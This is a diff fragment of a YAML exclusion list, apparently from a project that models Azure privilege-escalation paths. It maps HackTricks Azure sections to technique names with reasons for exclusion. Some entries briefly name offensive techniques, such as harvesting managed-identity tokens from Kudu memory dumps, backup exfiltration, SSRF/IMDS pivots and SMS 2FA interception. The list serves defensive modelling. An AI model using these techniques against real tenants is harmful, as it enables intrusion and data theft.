src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteslistsecretsaction + technique: SWA deployment token + reason: "NEEDS SCHEMA: Exact deployment key subject, usability, and newly permitted deployment action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteswrite + technique: SWA source repository change + reason: Static content deployment; no managed identity reached. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitesresetapikeyaction + technique: SWA reset API key + reason: Disruption. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsitescreateinvitationaction + technique: SWA user invitation + reason: "NEEDS SCHEMA: Exact invited application user, assigned app role, and before/after permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#pull-requests + technique: SWA PR preview deployments + reason: Repository-level abuse; no Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#service-user-delegation-keys-blob-file-queue-and-table + technique: User delegation keys + reason: Storage data access; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountswrite + technique: Storage account write (network/settings) + reason: Control weakening only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#hns-acl-takeover-and-blob-super-user-data-action + technique: HNS ACL takeover / runAsSuperUser + reason: Storage data access; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#operational-blob-backup-rollback-with-microsoftdataprotectionbackupvaultsbackupinstancesrestoreaction + technique: Blob backup rollback + reason: Data integrity/recovery; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsblobservicescontainersimmutabilitypolicieswrite--microsoftstoragestorageaccountsblobservicescontainersimmutabilitypoliciesdelete + technique: Immutability policies + reason: Data retention control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicestakeownershipaction + technique: Azure Files take ownership + reason: Storage data access; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsaction + technique: Azure Files modify permissions + reason: Storage data access; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesactassuperuseraction + technique: Azure Files act as superuser + reason: Storage data access; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#azure-files-and-local-user-credential-boundaries + technique: Azure Files / local-user boundaries + reason: Page states not standalone primitives. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsrestoreblobrangesaction + technique: Restore blob ranges + reason: Data recovery. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#soft-deleted-containers-and-blobs-via-account-keys + technique: Soft-deleted container/blob restore + reason: Data recovery. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicessharesrestoreaction--microsoftstoragestorageaccountsread + technique: File share restore + reason: Data recovery. +# Az1 refresh against hacktricks-cloud 171e422 (README..functions-app) +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/README.md#entra-id-and-azure-iam + technique: "Index page section" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#ai-foundry-ai-hubs-azure-openai--ai-search + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftcognitiveservicesaccountsconnectionslistsecretsaction-and-microsoftcognitiveservicesaccountsprojectsconnectionslistsecretsaction + technique: "AI Foundry connection secret listing" + reason: "Covered by azure-ml-connection-secrets." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftcognitiveservicesaccountswrite--account-config-tamper--uami-attach--re-enable-local-auth--open-network + technique: "Cognitive Services account config tamper / UAMI attach" + reason: "Account-level configuration and identity attach give no attacker-controlled code or request path running as the identity; local-auth and network changes are posture downgrades (key paths need listKeys)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#azure-ai-search + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#on-demand-skillset-detonation-with-microsoftsearchsearchservicesdebugsessionswrite--debugsessionsexecuteaction + technique: "Debug-session skillset detonation" + reason: 'NEEDS SCHEMA: exact Search skill/vectorizer/debug execution, audience-bound token receipt, and new permission are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#index-schema-poisoning--vectorizer-repoint-with-microsoftsearchsearchservicesindexeswrite + technique: "Index vectorizer repoint" + reason: 'NEEDS SCHEMA: exact Search skill/vectorizer/debug execution, audience-bound token receipt, and new permission are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#enumeration-when-search-reads-are-denied + technique: "Enumeration when reads are denied" + reason: "Enumeration guidance only; no privilege gain." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#analysis-services + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#analysis-services-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md#firewall-widening--power-bi-exposure-reach-the-data-plane + technique: "Analysis Services firewall widening" + reason: "Network exposure only; data-plane access still needs server admin (azure-analysisservices-server-admin-write)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-center-privesc.md#api-center + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-center-post-exploitation.md#internal-api-recon-data-reader + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Internal API inventory recon" + reason: "Data read of API metadata; no identity gained." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#api-management + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicebackendslistsecretsaction + technique: "APIM backend secret listing" + reason: "NEEDS SCHEMA: APIM backend reads may expose downstream API credentials, but exact credential subject, usable secret, newly permitted action, and prior-absence proof are not verified. Named-value Entra paths are separately modelled. no Azure identity by themselves." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceopenidconnectproviderslistsecretsaction + technique: "APIM OpenID Connect provider client secret" + reason: "Covered by azure-apim-oauth-server-secret." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicepolicieswrite-or-microsoftapimanagementserviceapispolicieswrite + technique: "APIM policy write (validate-jwt removal, throttling removal, backend reroute)" + reason: "Security-control weakening and traffic reroute; the identity path of the same permission is covered by azure-apim-policy-write-managed-identity-token (rev 171e422)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapispolicieswrite--ssrf--internal--imds-pivot-via-send-request + technique: "APIM policy SSRF / internal pivot" + reason: "Network pivot through the gateway; the identity path is covered by azure-apim-policy-write-managed-identity-token." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#app-configuration + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#microsoftappconfigurationconfigurationstoreslistkeyvalueaction + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "App Configuration key-value listing" + reason: "Data read of configuration values; Key Vault references resolve only with the consumer's identity, so no Azure identity is gained by the source." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-app-configuration-post-exploitation.md#microsoftappconfigurationconfigurationstoreskeyvaluesread + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "App Configuration key-value data read" + reason: "Data read; no identity gained." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#weaken-store-posture-with-configurationstoreswrite + technique: "App Configuration posture downgrade" + reason: "Re-enables local auth / public network; posture downgrade, no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#webjobs-microsoftwebsitespublishaction--scm-credentials + technique: "WebJobs via publish/SCM credentials" + reason: "Covered by azure-appservice-kudu-publish-action." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfigwrite-microsoftwebsitesconfigread-microsoftwebsitesconfiglistaction-microsoftwebsitesread + technique: "App Service config write" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#rce-via-app-settings--environment-variables-microsoftwebsitesconfigwrite + technique: "RCE via app settings" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#replace-function-code-on-its-azure-files-content-share-fileswrite--writefilebackupsemantics + technique: "Function content share code replacement" + reason: 'NEEDS SCHEMA: exact Function App to content storage binding, code overwrite, and identity execution are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesbackupaction-backup-exfiltration-to-attacker-storage + technique: "Backup exfiltration" + reason: "Data exfiltration of site content/secrets; no identity gained directly." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesnetworkconfigwrite-vnet-integration-for-an-internal-pivot + technique: "VNet integration pivot" + reason: "Network pivot; needs code execution modelled elsewhere." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#kudu-process-memory-dump-harvest-in-memory-mi-tokens--decrypted-secrets + technique: "Kudu process memory dump (SCM credential / publish path)" + reason: "Kudu access path covered by azure-appservice-kudu-publish-action; the ARM instances/processes route is modelled as azure-appservice-process-dump-cached-tokens (rev 171e422)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#remove-accessip-restrictions-to-expose-a-network-restricted-app + technique: "Access restriction removal" + reason: "Network exposure only." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsiteshybridconnectionnamespacesrelayswrite-attacker-relay-outbound-pivot + technique: "Hybrid connection attacker relay" + reason: "Outbound network pivot; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#app-service-domain-transfer-code-via-hidden-wildcard-operation + technique: "App Service domain transfer code" + reason: "Domain hijack (DNS / phishing impact); no Azure identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#azure-arc-enabled-servers + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#arc-enabled-servers-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#rce-via-arc-run-command + technique: "Arc run command" + reason: "Covered by azure-arc-machine-runcommands-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#attach-a-privileged-managed-identity-machine-write + technique: "Attach identity via machines/write" + reason: "Arc-enabled servers support only a system-assigned identity (no user-assigned attach); machines/write alone gives no code execution." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#managed-identity-token-theft-via-himds-on-prem--azure-pivot + technique: "HIMDS token theft on the box" + reason: "On-box step; the reaching RCE paths are azure-arc-machine-extensions-write, azure-arc-machine-runcommands-write and azure-arc-hybrid-connectivity-entra-ssh." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#license--license-profile-writes-billing-abuse + technique: "License profile writes" + reason: "Billing abuse; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#azure-arc-resource-bridge + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#export-partner-kubeconfig-and-hybrid-connection-listener-token + technique: "Partner kubeconfig / listener token export" + reason: "Covered by azure-arc-resource-bridge-credential-export." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#built-in-role-exposure + technique: "Built-in role exposure" + reason: "Role inventory guidance; no separate primitive." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md#arm-templates--deployments + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#arm-templates--deployments + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-attestation-post-exploitation.md#azure-attestation + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#entra-id-azuread--azure-iam + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#automation-accounts + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsscheduleswrite-microsoftautomationautomationaccountsjobscheduleswrite + technique: "Schedule an existing runbook" + reason: 'NEEDS SCHEMA: exact runbook trigger, behavior, execution, and named identity outcome are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountswebhooks--microsoftautomationautomationaccountsrunbooksread + technique: "Webhook trigger of an existing runbook" + reason: 'NEEDS SCHEMA: exact runbook trigger, behavior, execution, and named identity outcome are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsrunbooksdrafttestjobwrite + technique: "Draft test job" + reason: "Covered by azure-automation-runbook-author-and-run (testJob alternative)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#automation---malicious-modules + technique: "Malicious module" + reason: 'NEEDS SCHEMA: exact runbook import and execution under named identity are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#azure-batch + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountsregeneratekeysaction + technique: "Batch key regeneration" + reason: "Covered by azure-batch-shared-key-task-submission." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#azure-bot-service + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#communication-services + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-communication-services-post-exploitation.md#org-domain-phishing-infrastructure-with-emailservicesdomainssenderusernameswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Org-domain sender phishing" + reason: "Phishing infrastructure; no Azure identity." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-communication-services-post-exploitation.md#push-channel-redirect-with-communicationserviceslinknotificationhubaction + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Push channel redirect" + reason: "Notification redirection; no Azure identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#inbound-sms2fa-interception-with-communicationserviceseventgridfilterswrite + technique: "Inbound SMS / 2FA interception" + reason: "NEEDS SCHEMA: Exact intercepted factor, named account subject, and successful newly authorized account action must be verified; message interception alone is terminal." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md#confidential-ledger + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-apps-privesc.md#container-apps + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#container-instances-container-apps-and-jobs + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#azure-container-instances-apps--jobs + technique: "Section title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + technique: "ACI with user-assigned identity" + reason: "Covered by azure-aci-assign-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappmanagedenvironmentsread-microsoftappjobswrite-microsoftappmanagedenvironmentsjoinaction-microsoftmanagedidentityuserassignedidentitiesassignaction + technique: "Container App job with user-assigned identity" + reason: "Covered by azure-containerapp-job-assign-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#container-registry + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieswebhookswrite--outbound-event-exfiltration--ci-cd-recon + technique: "ACR webhook exfiltration" + reason: "Push/pull event metadata exfiltration; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieswrite--network-exposure--lockout + technique: "ACR network exposure / lockout" + reason: "Posture change or DoS; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#customer-managed-key-cmk-revocation--registry-ransom--dos + technique: "ACR CMK revocation" + reason: "Denial of service; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#cosmosdb + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftinferenceserviceinferenceaccountsregeneratekeysaction + technique: "Inference account key regeneration" + reason: "Rotate-and-capture of the semantic reranker key gives billed inference access only; no Azure identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftinferenceserviceinferenceaccountsinvokesemanticrerankeraction + technique: "Semantic reranker invocation" + reason: "Inference usage; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#other-current-inference-service-boundaries + technique: "Inference service boundaries" + reason: "Boundary notes; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#azure-data-explorer + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#data-factory + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-database-migration-service-privesc.md#database-migration-service + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-database-migration-service-privesc.md#microsoftdatamigrationsqlmigrationserviceslistauthkeysaction--rogue-ir-worker-on-prem-credential-relay + technique: "DMS IR auth key rogue worker" + reason: "NEEDS SCHEMA: a rogue DMS integration runtime may obtain an on-prem SQL credential, but the exact SQL login, usable secret, observed target authority, and prior-absence proof are not verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-database-migration-service-privesc.md#microsoftsqlserverswrite-bundled-in-the-migration-roles--unexpected-sql-control-plane-reach + technique: "Migration roles include servers/write" + reason: "Covered by azure-sql-server-admin-password-reset." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#azure-databricks + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#unity-catalog-storage-credential--external-location-abuse + technique: "Unity Catalog storage credential abuse" + reason: "NEEDS SCHEMA: a storage credential or external location can confer additional Unity Catalog or backing storage authority, but the exact caller, resource grant, and before/after effective permissions are not verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#microsoftdatabricksaccessconnectorswrite--attach-an-over-privileged-managed-identity + technique: "Access connector identity attach" + reason: "Using the connector identity needs Unity Catalog storage-credential privileges outside Azure RBAC." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#the-managed-rg-deny-assignment-and-why-updatedenyassignment-is-not-an-attacker-primitive + technique: "Managed RG deny assignment" + reason: "Page states it is not an attacker primitive." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#defender-for-cloud + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#microsoftsecurityautomationswrite--abuse-the-workflow-automation-identity + technique: "Defender workflow automation identity" + reason: "Identity gain needs Microsoft.Logic/workflows/write on the target Logic App; covered by azure-logicapp-workflow-write-existing-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#deployifnotexists-remediation-identities-via-azure-policy + technique: "DINE remediation identities" + reason: 'Definition-rewrite branch NEEDS SCHEMA for exact assignment/MI join and observed remediation; assignment-write branch is separate.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#microsoftsecuritypricings--connector-service-principals + technique: "Defender connector service principals" + reason: "Entra application credential paths (Entra ID catalog scope)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#dev-center + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#dev-center-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#catalog-poisoning-supply-chain + technique: "Catalog poisoning" + reason: "Covered by azure-devcenter-ade-deployment-identity (template_control condition)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#dev-box-local-admin-cloud-pc--customization-rce + technique: "Dev Box local admin / customization RCE" + reason: "Dev boxes carry no documented Azure managed identity; gain is local admin on a Cloud PC." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#devtest-labs + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#devtest-labs-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#foothold-vms-schedules--policy-tampering + technique: "Lab VM / schedule / policy tampering" + reason: "Persistence or DoS; no identity beyond the modelled artifact and claim paths." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#pivot-to-raw-compute + technique: "Pivot to the backing compute VM" + reason: "Covered by the Microsoft.Compute VM entries (virtual_machines.yaml) once the backing VM is reached." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#azure-digital-twins + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsqueryaction + technique: "Digital Twins query" + reason: "Data read." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsread + technique: "Digital Twins twin read" + reason: "Data read." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsrelationshipsread + technique: "Digital Twins relationship read" + reason: "Data read." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsinstancesendpointswrite--microsoftdigitaltwinseventrouteswrite--live-telemetrygraph-exfil + technique: "Endpoint / event route exfiltration" + reason: "Telemetry and graph exfiltration; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#graph--schema-integrity-writes--modelswrite-digitaltwinsrelationshipswrite-digitaltwinscommandsaction + technique: "Graph / schema integrity writes" + reason: "Data integrity impact on downstream consumers; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#event-grid + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#subscribe-to-azure-platformresource-events-with-systemtopicseventsubscriptionswrite + technique: "System topic event subscription" + reason: "Event feed exfiltration; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#backdoor-mqtt-client-via-namespacesclients--clientgroups--permissionbindingswrite + technique: "MQTT client backdoor" + reason: 'The broad historical MQTT entry did not prove client creation, group membership, permission binding, usable credential, or new publish/subscribe access. A separate typed variant now requires all of these.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#authnetwork-downgrade-with-namespaceswrite-topicswrite-domainswrite + technique: "Event Grid auth / network downgrade" + reason: "Posture downgrade; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#event-hubs + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#microsoft-fabric + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#connection--gateway-credential-confused-deputy-exfil + technique: "Fabric connection / gateway credential abuse" + reason: "NEEDS SCHEMA: a Fabric connection or gateway may convey exact Fabric or downstream data-source authority, but the caller, target connection identity, usable access, and new effective permission are not verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md#fluid-relay + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-fluid-relay-post-exploitation.md#container-id-enumeration-with-fluidrelaycontainersread + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Fluid Relay container enumeration" + reason: "Enumeration only." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-fluid-relay-post-exploitation.md#cmkidentity-tamper-with-fluidrelayserverswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Fluid Relay CMK / identity tamper" + reason: "Service-side CMK identity use (DoS); no code path for the source." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfiglistaction-microsoftwebsitesconfigwrite + technique: "Function App config list/write" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#rce-via-app-settings--environment-variables-microsoftwebsitesconfigwrite + technique: "Function App RCE via app settings" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfigwrite-microsoftwebsitesconfiglistaction-microsoftwebsitesread-microsoftwebsitesconfiglistaction-microsoftwebsitesconfigread + technique: "Function App config write (variant)" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteswrite-microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftwebsitesread-microsoftwebsitesoperationresultsread + technique: "Function App user-assigned identity attach" + reason: "Covered by azure-appservice-assign-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostruntime--arm-proxy-to-the-runtime-host-statusvfs-recon-key-routes-are-platform-blocked + technique: "hostruntime ARM proxy recon" + reason: "Recon (key routes platform-blocked); VFS write is covered by azure-functions-hostruntime-vfs-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfigsnapshotslistsecretsaction--recover-rotatedremoved-secrets + technique: "Config snapshot secret recovery" + reason: "Covered by azure-functions-config-list-storage-key (snapshots/listsecrets any_of alternative)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshybridconnectionnamespacesrelayslistkeysaction--on-premprivate-network-pivot + technique: "Hybrid connection relay keys" + reason: "On-prem / private network pivot; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostsyncaction--reload-tampered-keystriggers-enabler-low-alone + technique: "host/sync" + reason: "Enabler only (reloads tampered keys/triggers); no gain alone." diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_a.yaml 